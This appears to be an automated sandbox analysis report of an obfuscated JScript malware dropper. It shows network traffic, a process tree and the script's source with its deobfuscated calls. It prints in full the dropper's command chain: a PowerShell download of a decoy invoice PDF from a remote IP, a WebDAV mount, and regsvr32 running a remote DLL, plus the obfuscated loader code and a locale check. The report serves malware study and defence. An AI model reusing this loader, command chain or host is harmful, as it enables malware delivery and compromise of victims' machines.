88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:42:04.555671930 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:42:04.555722952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 14:42:04.555757046 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 14:42:04.555790901 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 14:42:04.555882931 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 14:42:04.555933952 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 14:42:04.555969954 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 14:42:04.556003094 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 14:42:04.556036949 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 14:42:04.560885906 CET	940	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6516	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:42:06.612406969 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:42:07.398156881 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:42:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:41:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js"
Imagebase:	0x7ff79fbd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:41:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Imagebase:	0x7ff6cea40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:41:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:41:59
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:42:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:42:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cea40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:42:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff795580000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:42:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:42:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:42:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1616,i,321981373026701256,205856416554201649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wmnrrcf() {	wmnrrcf() ➔ undefined
1	ororbzyp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ywpsbbv = this[fntyfmp + pbyhqiomi + kxaelc + tbyrbbfzw + uphhq + nanqh + dbqlcslh + fvgqdn] ( this[bnmjnq + moridceli + iiebcn + kxaelc + cnhqf + fntyfmp + fvgqdn][asggh + kxaelc + uphhq + pbyhqiomi + fvgqdn + uphhq + vfppl + xzsnbw + pdddfoiob + uphhq + iiebcn + fvgqdn] ( bnmjnq + moridceli + iiebcn + kxaelc + cnhqf + fntyfmp + fvgqdn + oczumzkg + moridceli + xalku + uphhq + ektak + ektak ) [tuoojag + uphhq + ghipv + tuoojag + uphhq + pbyhqiomi + xmhkoiy] ( lqjicr + qowhisn + hviillovo + fzolykiul + zzgzpp + asggh + rphgor + tuoojag + tuoojag + hviillovo + ohpksmr + hulnmc + zzgzpp + rphgor + moridceli + hviillovo + tuoojag + gwpulgec + asggh + xilanm + dbqlcslh + fvgqdn + kxaelc + xilanm + ektak + kstwtysb + lowqgy + pbyhqiomi + dbqlcslh + uphhq + ektak + gwpulgec + nanqh + dbqlcslh + fvgqdn + uphhq + kxaelc + dbqlcslh + pbyhqiomi + fvgqdn + cnhqf + xilanm + dbqlcslh + pbyhqiomi + ektak + gwpulgec + ghptvxhj + xilanm + iiebcn + pbyhqiomi + ektak + uphhq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( kramzyliu = 0 ; kramzyliu < ororbzyp[ektak + uphhq + dbqlcslh + ghipv + fvgqdn + xalku] ; ++ kramzyliu )
4	{
5	if ( ywpsbbv == ororbzyp[kramzyliu] )
6	{
7	ywpsbbv = true;
8	break ;
9	}
10	}
11	if ( ywpsbbv !== true )
12	this[bnmjnq + moridceli + iiebcn + kxaelc + cnhqf + fntyfmp + fvgqdn][uaqoa + moxkv + cnhqf + fvgqdn] ( );
13	this[bnmjnq + moridceli + iiebcn + kxaelc + cnhqf + fntyfmp + fvgqdn][asggh + kxaelc + uphhq + pbyhqiomi + fvgqdn + uphhq + vfppl + xzsnbw + pdddfoiob + uphhq + iiebcn + fvgqdn] ( bnmjnq + moridceli + iiebcn + kxaelc + cnhqf + fntyfmp + fvgqdn + oczumzkg + moridceli + xalku + uphhq + ektak + ektak ) [kxaelc + moxkv + dbqlcslh] ( iiebcn + oucsufggz + xmhkoiy + kstwtysb + apnrnwys + iiebcn + kstwtysb + fntyfmp + xilanm + krxxv + uphhq + kxaelc + tbyrbbfzw + xalku + uphhq + ektak + ektak + oczumzkg + uphhq + dvnlqexj + uphhq + kstwtysb + dykxgfrfw + asggh + xilanm + oucsufggz + oucsufggz + pbyhqiomi + dbqlcslh + xmhkoiy + kstwtysb + zcqpqlzb + nanqh + dbqlcslh + xtoih + xilanm + gramjzzy + uphhq + dykxgfrfw + bnmjnq + uphhq + xzsnbw + tuoojag + uphhq + oecdyo + moxkv + uphhq + tbyrbbfzw + fvgqdn + kstwtysb + dykxgfrfw + vfppl + moxkv + fvgqdn + kuafkk + cnhqf + ektak + uphhq + kstwtysb + wsavayyj + fvgqdn + uphhq + oucsufggz + fntyfmp + wsavayyj + gwpulgec + cnhqf + dbqlcslh + xtoih + xilanm + cnhqf + iiebcn + uphhq + oczumzkg + fntyfmp + xmhkoiy + zghlsgz + kstwtysb + xalku + fvgqdn + fvgqdn + fntyfmp + ntyzljib + apnrnwys + apnrnwys + brlvs + nvgbkuu + wdqfgvzf + oczumzkg + brlvs + rfllls + wdqfgvzf + oczumzkg + brlvs + oczumzkg + fbxqtbto + xrfogfgl + zagmtyo + apnrnwys + cnhqf + dbqlcslh + xtoih + xilanm + cnhqf + iiebcn + uphhq + oczumzkg + fntyfmp + xalku + fntyfmp + zcqpqlzb + plsmrjw + plsmrjw + tbyrbbfzw + fvgqdn + pbyhqiomi + kxaelc + fvgqdn + kstwtysb + wsavayyj + fvgqdn + uphhq + oucsufggz + fntyfmp + wsavayyj + gwpulgec + cnhqf + dbqlcslh + xtoih + xilanm + cnhqf + iiebcn + uphhq + oczumzkg + fntyfmp + xmhkoiy + zghlsgz + plsmrjw + plsmrjw + iiebcn + oucsufggz + xmhkoiy + kstwtysb + apnrnwys + iiebcn + kstwtysb + dbqlcslh + uphhq + fvgqdn + kstwtysb + moxkv + tbyrbbfzw + uphhq + kstwtysb + gwpulgec + gwpulgec + brlvs + nvgbkuu + wdqfgvzf + oczumzkg + brlvs + rfllls + wdqfgvzf + oczumzkg + brlvs + oczumzkg + fbxqtbto + xrfogfgl + zagmtyo + mzcwgsqk + rjdwbb + rjdwbb + rjdwbb + rjdwbb + gwpulgec + xmhkoiy + pbyhqiomi + xtoih + krxxv + krxxv + krxxv + kxaelc + xilanm + xilanm + fvgqdn + gwpulgec + plsmrjw + plsmrjw + iiebcn + oucsufggz + xmhkoiy + kstwtysb + apnrnwys + iiebcn + kstwtysb + kxaelc + uphhq + ghipv + tbyrbbfzw + xtoih + kxaelc + wdqfgvzf + fbxqtbto + kstwtysb + apnrnwys + tbyrbbfzw + kstwtysb + gwpulgec + gwpulgec + brlvs + nvgbkuu + wdqfgvzf + oczumzkg + brlvs + rfllls + wdqfgvzf + oczumzkg + brlvs + oczumzkg + fbxqtbto + xrfogfgl + zagmtyo + mzcwgsqk + rjdwbb + rjdwbb + rjdwbb + rjdwbb + gwpulgec + xmhkoiy + pbyhqiomi + xtoih + krxxv + krxxv + krxxv + kxaelc + xilanm + xilanm + fvgqdn + gwpulgec + fbxqtbto + hhbdw + zagmtyo + gdixsgm + wdqfgvzf + brlvs + xrfogfgl + xrfogfgl + xrfogfgl + brlvs + brlvs + wdqfgvzf + rfllls + rfllls + brlvs + oczumzkg + xmhkoiy + ektak + ektak, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll",0,false) ➔ 0
14	}
15	oczumzkg = "L";
16	oczumzkg = "v";
17	oczumzkg = "P";
18	oczumzkg = "b";
19	oczumzkg = "j";
20	oczumzkg = "L";
21	oczumzkg = "n";
22	oczumzkg = "G";
23	oczumzkg = "W";
24	oczumzkg = "D";
25	oczumzkg = "c";
26	oczumzkg = "Y";
27	oczumzkg = "d";
28	oczumzkg = "R";
29	oczumzkg = "F";
30	oczumzkg = "I";
31	oczumzkg = "h";
32	oczumzkg = "i";
33	oczumzkg = ".";
34	fbxqtbto = "i";
35	fbxqtbto = "f";
36	fbxqtbto = "k";
37	fbxqtbto = "S";
38	fbxqtbto = "p";
39	fbxqtbto = "n";
40	fbxqtbto = "C";
41	fbxqtbto = "T";
42	fbxqtbto = "W";
43	fbxqtbto = "E";
44	fbxqtbto = "l";
45	fbxqtbto = "Z";
46	fbxqtbto = "U";
47	fbxqtbto = "P";
48	fbxqtbto = "K";
49	fbxqtbto = "Z";
50	fbxqtbto = "M";
51	fbxqtbto = "C";
52	fbxqtbto = "w";
53	fbxqtbto = "D";
54	fbxqtbto = "X";
55	fbxqtbto = "S";
56	fbxqtbto = "X";
57	fbxqtbto = "X";
58	fbxqtbto = "2";
59	nanqh = "S";
60	nanqh = "h";
61	nanqh = "J";
62	nanqh = "U";
63	nanqh = "c";
64	nanqh = "a";
65	nanqh = "J";
66	nanqh = "q";
67	nanqh = "v";
68	nanqh = "J";
69	nanqh = "X";
70	nanqh = "L";
71	nanqh = "n";
72	nanqh = "B";
73	nanqh = "h";
74	nanqh = "E";
75	nanqh = "K";
76	nanqh = "O";
77	nanqh = "J";
78	nanqh = "H";
79	nanqh = "M";
80	nanqh = "j";
81	nanqh = "O";
82	nanqh = "r";
83	nanqh = "V";
84	nanqh = "c";
85	nanqh = "m";
86	nanqh = "M";
87	nanqh = "S";
88	nanqh = "N";
89	nanqh = "U";
90	nanqh = "B";
91	nanqh = "d";
92	nanqh = "t";
93	nanqh = "Q";
94	nanqh = "S";
95	nanqh = "G";
96	nanqh = "I";
97	tbyrbbfzw = "o";
98	tbyrbbfzw = "n";
99	tbyrbbfzw = "K";
100	tbyrbbfzw = "S";
101	tbyrbbfzw = "d";
102	tbyrbbfzw = "l";
103	tbyrbbfzw = "c";
104	tbyrbbfzw = "Y";
105	tbyrbbfzw = "n";
106	tbyrbbfzw = "F";
107	tbyrbbfzw = "L";
108	tbyrbbfzw = "Z";
109	tbyrbbfzw = "s";
110	ntyzljib = "i";
111	ntyzljib = "I";
112	ntyzljib = "e";
113	ntyzljib = "m";
114	ntyzljib = "I";
115	ntyzljib = "N";
116	ntyzljib = "E";
117	ntyzljib = "T";
118	ntyzljib = "B";
119	ntyzljib = "U";
120	ntyzljib = "B";
121	ntyzljib = "F";
122	ntyzljib = "W";
123	ntyzljib = "q";
124	ntyzljib = "d";
125	ntyzljib = "x";
126	ntyzljib = "X";
127	ntyzljib = "K";
128	ntyzljib = "v";
129	ntyzljib = "B";
130	ntyzljib = "G";
131	ntyzljib = "l";
132	ntyzljib = "t";
133	ntyzljib = "P";
134	ntyzljib = "S";
135	ntyzljib = "o";
136	ntyzljib = "V";
137	ntyzljib = "j";
138	ntyzljib = "m";
139	ntyzljib = "c";
140	ntyzljib = "a";
141	ntyzljib = "z";
142	ntyzljib = "U";
143	ntyzljib = "F";
144	ntyzljib = "e";
145	ntyzljib = "o";
146	ntyzljib = "s";
147	ntyzljib = "w";
148	ntyzljib = ":";
149	gramjzzy = "S";
150	gramjzzy = "c";
151	gramjzzy = "g";
152	gramjzzy = "j";
153	gramjzzy = "K";
154	gramjzzy = "N";
155	gramjzzy = "K";
156	gramjzzy = "a";
157	gramjzzy = "k";
158	gramjzzy = "v";
159	gramjzzy = "C";
160	gramjzzy = "S";
161	gramjzzy = "S";
162	gramjzzy = "n";
163	gramjzzy = "k";
164	gramjzzy = "y";
165	gramjzzy = "x";
166	gramjzzy = "z";
167	gramjzzy = "k";
168	gramjzzy = "k";
169	kstwtysb = "l";
170	kstwtysb = "D";
171	kstwtysb = "r";
172	kstwtysb = "R";
173	kstwtysb = "v";
174	kstwtysb = "D";
175	kstwtysb = "g";
176	kstwtysb = "s";
177	kstwtysb = "L";
178	kstwtysb = "E";
179	kstwtysb = "B";
180	kstwtysb = "q";
181	kstwtysb = "J";
182	kstwtysb = "F";
183	kstwtysb = "R";
184	kstwtysb = "h";
185	kstwtysb = "e";
186	kstwtysb = "d";
187	kstwtysb = "d";
188	kstwtysb = "M";
189	kstwtysb = "Z";
190	kstwtysb = " ";
191	apnrnwys = "o";
192	apnrnwys = "Q";
193	apnrnwys = "r";
194	apnrnwys = "d";
195	apnrnwys = "C";
196	apnrnwys = "S";
197	apnrnwys = "c";
198	apnrnwys = "D";
199	apnrnwys = "a";
200	apnrnwys = "Q";
201	apnrnwys = "R";
202	apnrnwys = "n";
203	apnrnwys = "f";
204	apnrnwys = "e";
205	apnrnwys = "/";
206	nvgbkuu = "j";
207	nvgbkuu = "B";
208	nvgbkuu = "k";
209	nvgbkuu = "s";
210	nvgbkuu = "B";
211	nvgbkuu = "v";
212	nvgbkuu = "x";
213	nvgbkuu = "w";
214	nvgbkuu = "i";
215	nvgbkuu = "F";
216	nvgbkuu = "c";
217	nvgbkuu = "X";
218	nvgbkuu = "X";
219	nvgbkuu = "l";
220	nvgbkuu = "f";
221	nvgbkuu = "P";
222	nvgbkuu = "v";
223	nvgbkuu = "R";
224	nvgbkuu = "W";
225	nvgbkuu = "x";
226	nvgbkuu = "v";
227	nvgbkuu = "9";
228	tuoojag = "s";
229	tuoojag = "s";
230	tuoojag = "m";
231	tuoojag = "s";
232	tuoojag = "J";
233	tuoojag = "B";
234	tuoojag = "m";
235	tuoojag = "M";
236	tuoojag = "k";
237	tuoojag = "V";
238	tuoojag = "U";
239	tuoojag = "e";
240	tuoojag = "H";
241	tuoojag = "O";
242	tuoojag = "I";
243	tuoojag = "l";
244	tuoojag = "R";
245	fntyfmp = "v";
246	fntyfmp = "Y";
247	fntyfmp = "R";
248	fntyfmp = "H";
249	fntyfmp = "G";
250	fntyfmp = "H";
251	fntyfmp = "U";
252	fntyfmp = "T";
253	fntyfmp = "F";
254	fntyfmp = "f";
255	fntyfmp = "r";
256	fntyfmp = "g";
257	fntyfmp = "X";
258	fntyfmp = "z";
259	fntyfmp = "Z";
260	fntyfmp = "G";
261	fntyfmp = "Y";
262	fntyfmp = "Z";
263	fntyfmp = "s";
264	fntyfmp = "m";
265	fntyfmp = "T";
266	fntyfmp = "p";
267	rfllls = "g";
268	rfllls = "r";
269	rfllls = "f";
270	rfllls = "m";
271	rfllls = "u";
272	rfllls = "u";
273	rfllls = "q";
274	rfllls = "E";
275	rfllls = "I";
276	rfllls = "r";
277	rfllls = "f";
278	rfllls = "s";
279	rfllls = "G";
280	rfllls = "F";
281	rfllls = "u";
282	rfllls = "P";
283	rfllls = "L";
284	rfllls = "4";
285	mzcwgsqk = "O";
286	mzcwgsqk = "a";
287	mzcwgsqk = "z";
288	mzcwgsqk = "L";
289	mzcwgsqk = "M";
290	mzcwgsqk = "a";
291	mzcwgsqk = "q";
292	mzcwgsqk = "P";
293	mzcwgsqk = "N";
294	mzcwgsqk = "S";
295	mzcwgsqk = "S";
296	mzcwgsqk = "d";
297	mzcwgsqk = "T";
298	mzcwgsqk = "t";
299	mzcwgsqk = "X";
300	mzcwgsqk = "@";
301	ghptvxhj = "J";
302	ghptvxhj = "Q";
303	ghptvxhj = "V";
304	ghptvxhj = "q";
305	ghptvxhj = "I";
306	ghptvxhj = "c";
307	ghptvxhj = "E";
308	ghptvxhj = "w";
309	ghptvxhj = "H";
310	ghptvxhj = "n";
311	ghptvxhj = "L";
312	ghptvxhj = "x";
313	ghptvxhj = "L";
314	hulnmc = "Z";
315	hulnmc = "W";
316	hulnmc = "C";
317	hulnmc = "x";
318	hulnmc = "u";
319	hulnmc = "m";
320	hulnmc = "Z";
321	hulnmc = "G";
322	hulnmc = "L";
323	hulnmc = "I";
324	hulnmc = "Y";
325	hulnmc = "a";
326	hulnmc = "y";
327	hulnmc = "J";
328	hulnmc = "w";
329	hulnmc = "a";
330	hulnmc = "i";
331	hulnmc = "d";
332	hulnmc = "F";
333	hulnmc = "g";
334	hulnmc = "T";
335	hulnmc = "z";
336	hulnmc = "z";
337	hulnmc = "u";
338	hulnmc = "S";
339	hulnmc = "a";
340	hulnmc = "e";
341	hulnmc = "T";
342	hulnmc = "i";
343	hulnmc = "O";
344	hulnmc = "B";
345	hulnmc = "R";
346	hulnmc = "T";
347	xtoih = "i";
348	xtoih = "A";
349	xtoih = "Y";
350	xtoih = "t";
351	xtoih = "P";
352	xtoih = "Z";
353	xtoih = "o";
354	xtoih = "D";
355	xtoih = "b";
